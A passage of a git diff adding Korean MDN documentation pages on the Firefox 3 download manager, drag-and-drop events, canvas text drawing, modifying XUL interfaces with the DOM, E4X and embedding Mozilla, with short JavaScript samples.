+translation_of: Archive/Mozilla/Download_Manager_improvements_in_Firefox_3
+---
+<p>{{ Fx_minversion_header(3) }} Firefox 3는 다운로드 관리자에 대한 개선을 제공하는데 이는 다중 진행 리스너, 데이터 관리를 위한 <a href="ko/Storage">Storage</a> API의 사용, 다운로드 재시작 등을 가능하게 합니다. 덧붙여, 새로운 {{ Interface("nsIDownloadManagerUI") }} 인터페이스를 구현하는 것으로 다운로드 관리자의 인터페이스를 바꿀 수 있습니다.</p>
+<p>{{ Note("이러한 변경 사항은 다운로드 관리자를 사용하는 코드의 적당한 수정을 요구합니다. 몇 가지 메소드에 작은 변경이 있었기 때문입니다.") }}</p>
+<h3 id="Download_Manager_interfaces" name="Download_Manager_interfaces">Download Manager interfaces</h3>
+<dl>
+ <dt>
+  {{ Interface("nsIDownloadManager") }}</dt>
+ <dd>
+  애플리케이션과 확장이 다운로드 관리자를 접근할 수 있도록 하여 다운로드 목록에 파일을 추가하거나 삭제하고, 과거 및 현재의 다운로드에 대한 정보를 구하고, 다운로드 진행에 대한 알림을 요청할 수 있도록 합니다.</dd>
+ <dt>
+  {{ Interface("nsIDownload") }}</dt>
+ <dd>
+  다운로드 대기열에 있는 파일을 설명합니다. 파일은 다운로드를 위하여 대기열에 있거나 다운로드 중이거나 다운로드를 마쳤을 수 있습니다.</dd>
+ <dt>
+  {{ Interface("nsIDownloadProgressListener") }}</dt>
+ <dd>
+  애플리케이션과 확장이 이 이 인터페이스를 구현하면 다운로드 상태의 변경을 감지할 수 있습니다.</dd>
+ <dt>
+  {{ Interface("nsIDownloadManagerUI") }}</dt>
+ <dd>
+  이 인터페이스를 구현하면 다운로드 관리자의 사용자 인터페이스를 대체할 수 있습니다.</dd>
+</dl>
+<h3 id=".EC.98.88.EC.A0.9C" name=".EC.98.88.EC.A0.9C">예제</h3>
+<dl>
+ <dt>
+  <a href="ko/%eb%82%b4%eb%a0%a4%eb%b0%9b%ea%b8%b0_%ea%b0%90%ec%8b%9c">내려받기 감시</a></dt>
+ <dd>
+  과거 및 현재의 모든 다운로드와 다운로드 시작 및 끝 시간, 다운로드 속도 등을 포함한 다운로드 상태를 보여주는 다운로드 로그 윈도우를 생성하기 위하여 새로운 다운로드 관리자 API를 사용하는 방법을 보여주는 예제입니다. <a href="ko/Storage">Storage</a> API의 사용도 보여주고 있습니다.</dd>
+</dl>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/Download_Manager_improvements_in_Firefox_3" } ) }}</p>
diff --git a/files/ko/drag_and_drop_events/index.html b/files/ko/drag_and_drop_events/index.html
new file mode 100644
index 0000000000..9b24f7ec79
--- /dev/null
+++ b/files/ko/drag_and_drop_events/index.html
@@ -0,0 +1,34 @@
+---
+title: Drag and drop events
+slug: Drag_and_drop_events
+tags:
+  - Firefox 3
+translation_of: Archive/Mozilla/Drag_and_drop/Drag_and_drop_events
+---
+<p>{{ Fx_minversion_header(3) }}</p>
+<p>Firefox 3에서는 언제 드래그 동작이 시작하고 종료하는지를 알 수 있는 새로운 이벤트가 추가되었습니다. 이 이벤트들은 현재 작업중인 HTML 5 명세의 working draft에 새롭게 추가된 사항입니다.</p>
+<dl>
+ <dt>
+  <code>drag</code></dt>
+ <dd>
+  드래그 동작이 시작될 때 발생됩니다.</dd>
+ <dt>
+  <code>dragend</code></dt>
+ <dd>
+  드래그 동작이 끝날 때 발생됩니다.</dd>
+</dl>
+<p>드래그&amp;드롭에 대해 자세한 정보는 <a href="ko/Drag_and_Drop">Drag and Drop</a> 기사를 참조하세요.</p>
+<p>드래그&amp;드롭 이벤트에 관한 실제 동작하는 예제는 다음 페이지에서 볼 수 있습니다.</p>
+<ul>
+ <li><a class="external" href="http://developer.mozilla.org/samples/dragdrop/dragevents.txt">View source</a></li>
+ <li><a class="external" href="http://developer.mozilla.org/samples/dragdrop/dragevents.html">View example</a></li>
+</ul>
+<h3 id=".EC.B0.B8.EC.A1.B0" name=".EC.B0.B8.EC.A1.B0">참조</h3>
+<ul>
+ <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#dnd">HTML 5 working draft: Drag and drop</a></li>
+ <li><a href="ko/Drag_and_Drop">Drag and Drop</a></li>
+ <li>{{ Interface("nsIDragService") }}</li>
+</ul>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/Drag_and_drop_events", "es": "es/Eventos_arrastrar_y_soltar", "fr": "fr/\u00c9v\u00e8nements_de_glisser-d\u00e9poser", "pl": "pl/Zdarzenia_przeci\u0105gania_i_upuszczania" } ) }}</p>
diff --git a/files/ko/drawing_text_using_a_canvas/index.html b/files/ko/drawing_text_using_a_canvas/index.html
new file mode 100644
index 0000000000..2c789e85a4
--- /dev/null
+++ b/files/ko/drawing_text_using_a_canvas/index.html
@@ -0,0 +1,164 @@
+---
+title: 텍스트 그리기
+slug: Drawing_text_using_a_canvas
+tags:
+  - HTML
+  - 'HTML:Canvas'
+  - NeedsContent
+translation_of: Web/API/Canvas_API/Tutorial/Drawing_text
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Applying_styles_and_colors", "Web/API/Canvas_API/Tutorial/Using_images")}}</div>
+
+<div class="summary">
+<p>이전 챕터에서 <a href="/ko/docs/Web/API/Canvas_API/Tutorial/Applying_styles_and_colors">스타일과 컬러를 적용하는 방법</a>에 대해서 보았고 이번에는 캔버스에 텍스트를 그리는 방법에 대해서 볼 예정입니다.</p>
+</div>
+
+<h2 id="텍스트_그리기">텍스트 그리기</h2>
+
+<p>캔버스 렌더링 컨텍스트(canvas rendering context)는 텍스트를 렌더링하는 두 가지 방법을 제공합니다.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.fillText", "fillText(text, x, y [, maxWidth])")}}</dt>
+ <dd>주어진 (x, y) 위치에 주어진 텍스트를 채웁니다. 최대 폭(width)은 옵션 값 입니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.strokeText", "strokeText(text, x, y [, maxWidth])")}}</dt>
+ <dd>주어진 (x, y) 위치에 주어진 텍스트를 칠(stroke)합니다. 최대 폭(width)은 옵션 값 입니다.</dd>
+</dl>
+
+<h3 id="fillText_예제"><code>fillText</code> 예제</h3>
+
+<p>텍스트는 현재의 <code>fillStyle</code>을 사용하여 채워집니다.</p>
+
+<pre class="brush: js;highlight[4]">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  ctx.font = '48px serif';
+  ctx.fillText('Hello world', 10, 50);
+}</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="300" height="100"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_fillText_example", 310, 110)}}</p>
+
+<h3 id="strokeText_예제"><code>strokeText</code> 예제</h3>
+
+<p>텍스트는 현재의 <code>strokeStyle</code>을 이용하여 채워집니다.</p>
+
+<pre class="brush: js;highlight[4]">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  ctx.font = '48px serif';
+  ctx.strokeText('Hello world', 10, 50);
+}</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="300" height="100"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("A_strokeText_example", 310, 110)}}</p>
+
+<h2 id="텍스트_스타일_적용하기">텍스트 스타일 적용하기</h2>
+
+<p> 위의 예제에서 우리는 이미 텍스트를 기본 사이즈를 키우기 위하여 <code>font</code> 프로퍼티를 사용하였습니다. 그리고 캔버스에 표시되는 텍스트를 조정할 수 있는 속성이 더 있습니다. </p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.font", "font = value")}}</dt>
+ <dd>텍스트를 그릴 때 사용되는 현재 텍스트 스타일. 이 문자열은 <a href="/en-US/docs/Web/CSS">CSS</a> {{cssxref("font")}} 프로퍼티와 동일한구문을 사용합니다. 기본값으로 sans-serif의 10px가 설정되어 있습니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.textAlign", "textAlign = value")}}</dt>
+ <dd>텍스트 정렬 설정. 사용가능한 값: <code>start</code>, <code>end</code>, <code>left</code>, <code>right</code>, <code>center</code>. 기본 값은 <code>start</code> 입니다.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.textBaseline", "textBaseline = value")}}</dt>
+ <dd>베이스라인 정렬 설정. 사용가능한 값: <code>top</code>, <code>hanging</code>, <code>middle</code>, <code>alphabetic</code>, <code>ideographic</code>, <code>bottom</code>. 기본 값은 <code>alphabetic</code> 입니다</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.direction", "direction = value")}}</dt>
+ <dd>글자 방향. 사용가능한 값: <code>ltr</code>, <code>rtl</code>, <code>inherit</code>. 기본 값은 <code>inherit</code> 입니다.</dd>
+</dl>
+
+<p>만약 CSS를 다뤄보신적이 있다면 이러한 프로퍼티들은 익숙하실겁니다.</p>
+
+<p>다음에 나오는  <a class="external" href="http://www.whatwg.org/" title="http://www.whatwg.org/">WHATWG</a> 예제 다이어그램은 <code>textBaseline</code>를 이용하여 다양한 베이스라인 설정을 보여줍니다.<img alt="The top of the em square is
+roughly at the top of the glyphs in a font, the hanging baseline is
+where some glyphs like आ are anchored, the middle is half-way
+between the top of the em square and the bottom of the em square,
+the alphabetic baseline is where characters like Á, ÿ,
+f, and Ω are anchored, the ideographic baseline is
+where glyphs like 私 and 達 are anchored, and the bottom
+of the em square is roughly at the bottom of the glyphs in a
+font. The top and bottom of the bounding box can be far from these
+baselines, due to glyphs extending far outside the em square." src="http://www.whatwg.org/specs/web-apps/current-work/images/baselines.png"></p>
+
+<h3 id="textBaseline_예제">textBaseline 예제</h3>
+
+<p>아래의 코드를 수정하여 캔버스에서 어떻게 바뀌는지 실시간으로 확인해 보세요.</p>
+
+<pre class="brush: js;highlight[2]">ctx.font = '48px serif';
+ctx.textBaseline = 'hanging';
+ctx.strokeText('Hello world', 0, 100);
+</pre>
+
+<div class="hidden">
+<h6 id="Playable_code" name="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.font = "48px serif";
+ctx.textBaseline = "hanging";
+ctx.strokeText("Hello world", 0, 100);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var edit = document.getElementById('edit');
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener('click', function() {
+  textarea.focus();
+})
+
+textarea.addEventListener('input', drawCanvas);
+window.addEventListener('load', drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="어드밴스드_텍스트_측정">어드밴스드 텍스트 측정</h2>
+
+<p>만약 텍스트에대해 조금 더 디테일한 것들을 얻고 싶다면 다음의 메소드를 이용해보세요.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.measureText", "measureText()")}}</dt>
+ <dd>현재 스타일로 특정 텍스트가 그려질 때의 폭, 픽셀 등을 포함하는 {{domxref("TextMetrics")}} 객체 리턴. </dd>
+</dl>
+
+<p>다음의 코드는 어떻게 텍스트를 측정하는 지, 그리고 폭을 구하는 예제입니다.</p>
+
+<pre class="brush: js;highlight[3]">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  var text = ctx.measureText('foo'); // TextMetrics object
+  text.width; // 16;
+}
+</pre>
+
+<h2 id="Gecko_사용시_주의점">Gecko 사용시 주의점</h2>
+
+<p>Gecko(Firefox, Firefox OS외 Mozilla 기반의 에플리케이션 렌더링 엔진)에서는 캔버스에 텍스트를 그리기 위한 몇몇의 <a href="https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D#Prefixed_APIs">prefixed APIs</a>가 구현되어 있습니다. 그리고 지금은 사용되지 않아 제거되었거나 작동을 보장하지 않는 것들도 있습니다. </p>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Applying_styles_and_colors", "Web/API/Canvas_API/Tutorial/Using_images")}}</p>
diff --git a/files/ko/dynamically_modifying_xul-based_user_interface/index.html b/files/ko/dynamically_modifying_xul-based_user_interface/index.html
new file mode 100644
index 0000000000..bbb163277a
--- /dev/null
+++ b/files/ko/dynamically_modifying_xul-based_user_interface/index.html
@@ -0,0 +1,82 @@
+---
+title: Dynamically modifying XUL-based user interface
+slug: Dynamically_modifying_XUL-based_user_interface
+tags:
+  - Add-ons
+  - DOM
+  - Extensions
+  - XUL
+translation_of: Archive/Mozilla/XUL/Dynamically_modifying_XUL-based_user_interface
+---
+<p>이 기사(article)는 <a href="ko/DOM">DOM</a>과 다른 API를 써서 <a href="ko/XUL">XUL</a> 인터페이스 다루기를 논합니다. 기사는 DOM
+ <i>
+  문서(document)</i>
+ 개념을 설명하고, 기본 문서 조작을 수행하는 DOM 호출을 쓰는 단순 예제 상당수에다 Mozilla 고유 메소드를 써서
+ <i>
+  익명 <a href="ko/XBL">XBL</a> content</i>
+ 를 다루는 작업을 실제로 보입니다.</p>
+<p>내용은 중급 XUL 개발자가 되려는 초보자를 대상으로 합니다. 우리는 읽는 이가 XUL과 JavaScript 기본 지식이 있다고 가정합니다. 여러분은 또한 <a href="ko/About_the_Document_Object_Model">About the Document Object Model</a> 기사나 <a href="ko/Gecko_DOM_Reference">Gecko DOM Reference</a>의 <a href="ko/Gecko_DOM_Reference/Introduction">개요 page</a> 같은 DOM을 다루는 입문 문서 일부를 읽어도 좋습니다.</p>
+<h3 id=".EB.A8.B8.EB.A6.AC.EB.A7.90" name=".EB.A8.B8.EB.A6.AC.EB.A7.90">머리말</h3>
+<p>아시다시피, <a href="ko/XUL">XUL</a>은 Firefox와 Thunderbird 같은 여러 가지 Mozilla 기반 응용프로그램에서 사용자 인터페이스를 기술하기 위해 쓰는 <a href="ko/XML">XML</a> 언어입니다. XUL 응용프로그램에서 <a href="ko/JavaScript">JavaScript</a>는 XUL 문서에 접근하기 위해 <a href="ko/Gecko_DOM_Reference">DOM API</a>를 쓰는 behavior를 정의합니다.</p>
+<p>그러면 <b>D</b>ocument <b>O</b>bject <b>M</b>odel API는 뭘까요?</p>
+<p>DOM API는 스크립트와 문서의 모든 상호 작용에 쓰이는 인터페이스입니다. 혹시 XUL(이나 HTML) 문서와 상호 작용하는 스크립트를 작성해 본 적이 있다면, 여러분은 이미 DOM 호출을 썼습니다. 가장 잘 알려진 DOM 메소드는 아마도 요소의 <code>id</code>를 주면 요소를 반환하는 <code><a href="ko/DOM/document.getElementById">document.getElementById()</a></code>입니다. 여러분은 또한 <code><a href="ko/DOM/element.setAttribute">element.setAttribute()</a></code>나 혹시 확장 기능을 작성했다면 <code><a href="ko/DOM/element.addEventListener">addEventListener()</a></code> 메소드 같은 다른 호출도 써 봤을지도 모릅니다. 이들 모두는 DOM에서 정의합니다.</p>
+<p>또한 문서에서 요소를 만들고, 옮기고, 지우는 메소드도 있습니다. 메소드는 뒷 부분에서 실제로 보입니다. 지금 바로,
+ <i>
+  문서</i>
+ 가 뭔지 배워 봅시다.</p>
+<h3 id=".EB.AC.B8.EC.84.9C.EB.9E.80_.EB.AC.B4.EC.97.87.EC.9D.B8.EA.B0.80.3F" name=".EB.AC.B8.EC.84.9C.EB.9E.80_.EB.AC.B4.EC.97.87.EC.9D.B8.EA.B0.80.3F">문서란 무엇인가?</h3>
+<p>문서는 DOM API에 의해 다뤄지는 자료 구조(data structure)입니다. 모든 문서의 논리 구조는 요소(element), 속성(attribute), 처리 명령(processing instruction), 주석(comment) 등인 노드가 있는 트리(tree)입니다. 어떤 문서의 트리 표현을 보려면 <a href="ko/DOM_Inspector">DOM Inspector</a> 도구를 쓰세요. <span class="comment">Todo: simple example of a XUL document and a tree</span></p>
+<p>여러분은 문서를 XHTML이나 XUL같은 유효한(valid) HTML이나 적격(well-formed) XML(XUL 포함)의 메모리 내(in-memory) 표현으로 생각할 수 있습니다.</p>
+<p>다른 웹 페이지(와 심지어 같은 웹 페이지의 다른 instance)는 다른 문서와 대응함을 기억하는 게 중요합니다. 각 XUL 창은 자체(its own) distinct 문서가 있고 <code><a href="ko/XUL/iframe">&lt;iframe&gt;</a></code>, <code><a href="ko/XUL/browser">&lt;browser&gt;</a></code>, <code><a href="ko/XUL/tabbrowser">&lt;tabbrowser&gt;</a></code> 요소일 때 심지어 단일 창에 꽤 많은 다른 문서일지도 모릅니다. 여러분은 항상 반드시 바른 문서를 다뤄야 합니다. (이에 대해서는 <a href="ko/Working_with_windows_in_chrome_code">Working with windows in chrome code</a>를 더 읽어 보세요.) 여러분의 스크립트가 <code>&lt;script&gt;</code> 태그를 써서 포함될 때, <code>document</code> 프로퍼티는 그 스크립트를 포함하는 DOM 문서를 참조합니다.</p>
+<h3 id=".EC.98.88.EC.A0.9C:_DOM_.EB.A9.94.EC.86.8C.EB.93.9C_.EC.93.B0.EA.B8.B0" name=".EC.98.88.EC.A0.9C:_DOM_.EB.A9.94.EC.86.8C.EB.93.9C_.EC.93.B0.EA.B8.B0">예제: DOM 메소드 쓰기</h3>
+<p>이 절은 <code><a href="ko/DOM/element.appendChild">appendChild()</a></code>, <code><a href="ko/DOM/document.createElement">createElement()</a></code>, <code><a href="ko/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="ko/DOM/element.removeChild">removeChild()</a></code> DOM 메소드 사용을 실제로 보입니다.</p>
+<h4 id=".EC.9A.94.EC.86.8C.EC.9D.98_.EC.9E.90.EC.8B.9D_.EB.85.B8.EB.93.9C_.EB.AA.A8.EB.91.90_.EC.97.86.EC.95.A0.EA.B8.B0" name=".EC.9A.94.EC.86.8C.EC.9D.98_.EC.9E.90.EC.8B.9D_.EB.85.B8.EB.93.9C_.EB.AA.A8.EB.91.90_.EC.97.86.EC.95.A0.EA.B8.B0">요소의 자식 노드 모두 없애기</h4>
+<p>이 예제는 어떤 자식도 남지 않을 때까지 첫째 자식을 없애기 위해 <code><a href="ko/DOM/element.removeChild">removeChild()</a></code> 메소드를 호출하여 현재 문서에서 id가 <code>"someElement"</code>인 요소의 모든 자식을 없앱니다.</p>
+<p><code><a href="ko/DOM/element.hasChildNodes">hasChildNodes()</a></code>와 <code><a href="ko/DOM/element.firstChild">firstChild</a></code> 또한 DOM API의 부분임을 유의하세요.</p>
+<pre class="eval">var element = document.getElementById("someElement");
+  while(element.hasChildNodes()) {
+    element.removeChild(element.firstChild);
+  }
+</pre>
+<h4 id=".EB.A9.94.EB.89.B4.EC.97.90_.EB.A9.94.EB.89.B4_.ED.95.AD.EB.AA.A9_.EC.82.BD.EC.9E.85.ED.95.98.EA.B8.B0" name=".EB.A9.94.EB.89.B4.EC.97.90_.EB.A9.94.EB.89.B4_.ED.95.AD.EB.AA.A9_.EC.82.BD.EC.9E.85.ED.95.98.EA.B8.B0">메뉴에 메뉴 항목 삽입하기</h4>
+<p>이 예제는 <code><a href="ko/XUL/menupopup">&lt;menupopup&gt;</a></code>의 시작과 끝에 새 메뉴 항목 둘을 추가합니다. 항목을 만들기 위해 <code><a href="ko/DOM/document.createElementNS">document.createElementNS()</a></code> 메소드와 문서 내에 만든 XML 요소를 삽입하기 위해 <code><a href="ko/DOM/element.appendChild">appendChild()</a></code>와 함께 <code><a href="ko/DOM/element.insertBefore">insertBefore()</a></code>를 씁니다.</p>
+<p>주의:</p>
+<ul>
+ <li><code><a href="ko/DOM/document.createElementNS">document.createElementNS()</a></code>는 요소를 만들지만 문서 어딘가에 두지는 않습니다. 여러분은 새로 만든 요소를 문서에 삽입하기 위해 <code><a href="ko/DOM/element.appendChild">appendChild()</a></code> 같은 다른 DOM 메소드 사용이 필요합니다.</li>
+ <li><code><a href="ko/DOM/element.insertBefore">insertBefore()</a></code>가 노드를 둘째 매개변수로 참조되는 노드 앞에 삽입하는 반면에 <code><a href="ko/DOM/element.appendChild">appendChild()</a></code>는 다른 모든 노드 뒤에 노드를 추가합니다.</li>
+</ul>
+<pre class="eval">function createMenuItem(aLabel) {
+  const XUL_NS = "<span class="nowiki">http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul</span>";
+  var item = document.createElementNS(XUL_NS, "menuitem"); // create a new XUL menuitem
+  item.setAttribute("label", aLabel);
+  return item;
+}
+var popup = document.getElementById("myPopup"); // a &lt;menupopup&gt; element
+var first = createMenuItem("First item");
+var last = createMenuItem("Last item");
+popup.insertBefore(first, popup.firstChild);
+popup.appendChild(last);
+</pre>
+<p>여러분은 또한 기존 요소를 옮기기 위해 <code><a href="ko/DOM/element.appendChild">appendChild()</a></code>와 <code><a href="ko/DOM/element.insertBefore">insertBefore()</a></code>를 쓸 수 있습니다. 예를 들어 여러분은 위 코드 조각(snippet) 마지막 줄에 아래 문장(statement)을 더해 팝업 끝에 "First item"으로 부르는 항목을 옮길 수 있습니다.</p>
+<pre class="eval">popup.appendChild(first);
+</pre>
+<p>이 문장은 문서의 현재 위치에서 노드를 없애고 팝업 끝에 노드를 다시 삽입합니다.</p>
+<h3 id=".EC.9D.B5.EB.AA.85_content_.28XBL.29" name=".EC.9D.B5.EB.AA.85_content_.28XBL.29">익명 content (XBL)</h3>
+<p><a href="ko/XBL">XBL</a>은 새 위젯을 정의하기 위해 Mozilla에서 쓰는 언어입니다. XBL에서 정의한 위젯은 바인딩(binding)이 붙을 때 bound 요소에 삽입되는 어떤 content를 정의하기 위해 고릅니다.
+ <i>
+  익명 content</i>
+ 로 부르는 이 content는 보통 DOM 메소드를 통해 접근할 수 없습니다.</p>
+<p>여러분은 대신 <code><a href="ko/NsIDOMDocumentXBL">nsIDOMDocumentXBL</a></code> 인터페이스의 메소드를 사용이 필요합니다. 예를 들면,</p>
+<pre class="eval">// 제공한 노드의 첫째 익명 자식을 얻고
+document.getAnonymousNodes(node)[0];
+
+// anonid 속성과 el1이 같은 익명 요소의 NodeList를 반환합니다
+document.getAnonymousElementByAttribute(node, "anonid", "el1");
+</pre>
+<p>더 많은 정보는 XBL reference에서 <a href="ko/XBL/XBL_1.0_Reference/DOM_Interfaces#getAnonymousNodes">getAnonymousNodes</a>와 <a href="ko/XBL/XBL_1.0_Reference/DOM_Interfaces#getAnonymousElementByAttribute">getAnonymousElementByAttribute</a>를 보세요.</p>
+<p>일단 여러분에게 익명 노드가 있으면, 여러분은 그 바인딩의 나머지 노드를 항해하고 다루기 위해 정규 DOM 메소드를 쓸 수 있습니다.</p>
+<h3 id=".EA.B0.99.EC.9D.B4_.EB.B3.B4.EA.B8.B0" name=".EA.B0.99.EC.9D.B4_.EB.B3.B4.EA.B8.B0">같이 보기</h3>
+<ul>
+ <li><a href="ko/XUL_Tutorial/Document_Object_Model">A related chapter on DOM</a></li>
+ <li><a href="ko/XUL_Tutorial/Modifying_a_XUL_Interface">XUL Tutorial:Modifying a XUL Interface</a></li>
+</ul>
diff --git a/files/ko/e4x/index.html b/files/ko/e4x/index.html
new file mode 100644
index 0000000000..f1f5fb8157
--- /dev/null
+++ b/files/ko/e4x/index.html
@@ -0,0 +1,28 @@
+---
+title: E4X
+slug: E4X
+tags:
+  - E4X
+  - JavaScript
+translation_of: Archive/Web/E4X
+---
+<p><b>ECMAScript for XML</b> (<b>E4X</b>)는 <a href="ko/JavaScript">JavaScript</a>에 native <a href="ko/XML">XML</a> 지원을 더하는 프로그래밍 언어 확장기능입니다. E4X는 ECMAScript 프로그래머에게 자연스러운 형식으로 XML 문서 접근 방법을 제공하여 이를 수행합니다. 목표는 <a href="ko/DOM">DOM</a> 인터페이스를 통하기보다는 XML 문서에 접근하기 더 간단한 대체 구문 제공입니다.
+</p><p>E4X는 Ecma International에서 <a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-357.htm">ECMA-357 표준</a> (현재는 2005년 12월자 두번째 판)으로 지정했습니다.
+</p><p>E4X는 <a href="ko/SpiderMonkey">SpiderMonkey</a> (<a href="ko/Gecko">Gecko</a>의 JavaScript 엔진)와 <a href="ko/Rhino">Rhino</a>에서 (적어도 부분은) 구현되었습니다.
+</p><p><b>주의:</b> Firefox 1.5 같은 Gecko 1.8에 기반을 둔 브라우저에서는, E4X는 벌써 일부분 웹 페이지 제작자가 이용할 수 있습니다. E4X를 완전히 이용하기 위해서는, <code>&lt;script&gt;</code> 요소의 MIME 타입이 "text/javascript;e4x=1" (즉, <code>type="text/javascript;e4x=1"</code> 형식의 속성)일 필요가 있습니다. 두 모드 사이의 차이는 "e4x=1" MIME 타입이 없으면, 어떤 문 수준(statement-level) XML/HTML 주석 상수(literal) (<code><span class="nowiki">&lt;!--...--&gt;</span></code>)든지 주석 감춤 트릭으로 하위 호환성을 위해 무시되고 CDATA 절 (<code>&lt;![CDATA{{ mediawiki.external('...') }}]&gt;</code>)도 (HTML의 <code>&lt;script&gt;</code> 요소가 암시(implicit) CDATA 절을 만들어내기 때문에 HTML에서 JS 구문 에러를 이끌고 그 결과 명시(explicit) CDATA 절을 포함할 수 없어) CDATA 상수로 구문해석되지 않습니다.
+<span class="comment">누구든지 위 내용을 확인해 주세요</span>
+</p>
+<h3 id=".EC.95.8C.EB.A0.A4.EC.A7.84_.EB.B2.84.EA.B7.B8.EC.99.80_.EC.A0.9C.ED.95.9C" name=".EC.95.8C.EB.A0.A4.EC.A7.84_.EB.B2.84.EA.B7.B8.EC.99.80_.EC.A0.9C.ED.95.9C"> 알려진 버그와 제한 </h3>
+<ul><li> 현재는 E4X를 통해 DOM 개체에 접근할 수 없습니다 ({{ Bug(270553) }}).
+</li><li> E4X는 XML 선언 (<code>&lt;?xml version=...?&gt;</code>) 구문해석을 지원하지 않습니다 ({{ Bug(336551) }}를 보세요).
+</li></ul>
+<h3 id="Resources" name="Resources"> Resources </h3>
+<ul><li> <a href="ko/E4X_tutorial">E4X 자습서</a>
+</li><li> MDC의 <a>E4X 관련 페이지</a> 목록
+</li><li> <a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-357.htm">ECMA-357 표준</a>
+</li><li> <a class="external" href="http://developer.mozilla.org/presentations/xtech2005/e4x/">Brendan의 프리젠테이션 </a>
+</li><li> <a class="external" href="http://www.faqts.com/knowledge_base/index.phtml/fid/1762">faqts.com 내 E4X</a>
+</li></ul>
+<div class="noinclude">
+</div>
+{{ languages( { "es": "es/E4X", "fr": "fr/E4X", "it": "it/E4X", "ja": "ja/E4X", "ko": "ko/E4X", "pl": "pl/E4X" } ) }}
diff --git a/files/ko/embedding_mozilla/index.html b/files/ko/embedding_mozilla/index.html
new file mode 100644
index 0000000000..3ed5fc852e
--- /dev/null
+++ b/files/ko/embedding_mozilla/index.html
@@ -0,0 +1,57 @@
+---
+title: Embedding Mozilla
+slug: Embedding_Mozilla
+tags:
+  - Embedding Mozilla
+translation_of: Mozilla/Gecko/Embedding_Mozilla
+---
+<div>
+ <p><a href="ko/Gecko">Gecko</a>는 third party 개발자가 Mozilla에 기초를 둔 같은 기술을 사용하는 것을 허용한다. 이것은 당신이 third-party 응용프로그램 안에 웹 브라우저를 embed 하여, 네트워크 backend를 통해 channel과 stream을 열고, <a href="ko/DOM">DOM</a>을 통과하는 것 등을 할 수 있다는 것을 뜻한다. chrome을 써서 전체 새 응용프로그램을 만들 수도 있다.</p>
+</div>
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h4 id="Documentation" name="Documentation"><a>Documentation</a></h4>
+    <dl>
+     <dt>
+      <a href="ko/Mozilla_Embedding_FAQ">Mozilla Embedding FAQ</a></dt>
+     <dd>
+      <small>Mozilla embedding에 대해 자주 묻는 것 모음.</small></dd>
+    </dl>
+    <dl>
+     <dt>
+      <a href="ko/Gecko_Embedding_Basics">Gecko 임베딩 기초</a></dt>
+     <dd>
+      <small>Gecko rendering engine 임베드 하기 소개.</small></dd>
+    </dl>
+    <dl>
+     <dt>
+      <a href="ko/Embedding_the_Editor">에디터 임베딩</a></dt>
+     <dd>
+      <small>이 글은 editor embed 가능성의 현재 상태, 현존하는 구현의 문제, 우리가 다룰 필요가 있는 몇 가능한 embedding 시나리오, 그것을 채울 임베딩 솔루션을 설명한다.</small></dd>
+    </dl>
+    <dl>
+     <dt>
+      <a href="ko/Roll_your_own_browser_-_An_embedding_HowTo">Roll your own browser - An embedding HowTo</a></dt>
+     <dd>
+      <small>Mozilla 임베딩 빠른 소개.</small></dd>
+    </dl>
+    <p><span class="alllinks"><a>View All...</a></span></p>
+   </td>
+   <td>
+    <h4 id=".EC.BB.A4.EB.AE.A4.EB.8B.88.ED.8B.B0" name=".EC.BB.A4.EB.AE.A4.EB.8B.88.ED.8B.B0">커뮤니티</h4>
+    <ul>
+     <li>View Mozilla forums...</li>
+    </ul>
+    <p>{{ DiscussionList("dev-embedding", "mozilla.dev.embedding") }}</p>
+    <h4 id=".EA.B4.80.EB.A0.A8_.EC.A3.BC.EC.A0.9C" name=".EA.B4.80.EB.A0.A8_.EC.A3.BC.EC.A0.9C">관련 주제</h4>
+    <dl>
+     <dd>
+      <a href="ko/Gecko">Gecko</a>, <a href="ko/XPCOM">XPCOM</a></dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<p> </p>
diff --git a/files/ko/embedding_the_editor/index.html b/files/ko/embedding_the_editor/index.html
new file mode 100644
index 0000000000..291a428289
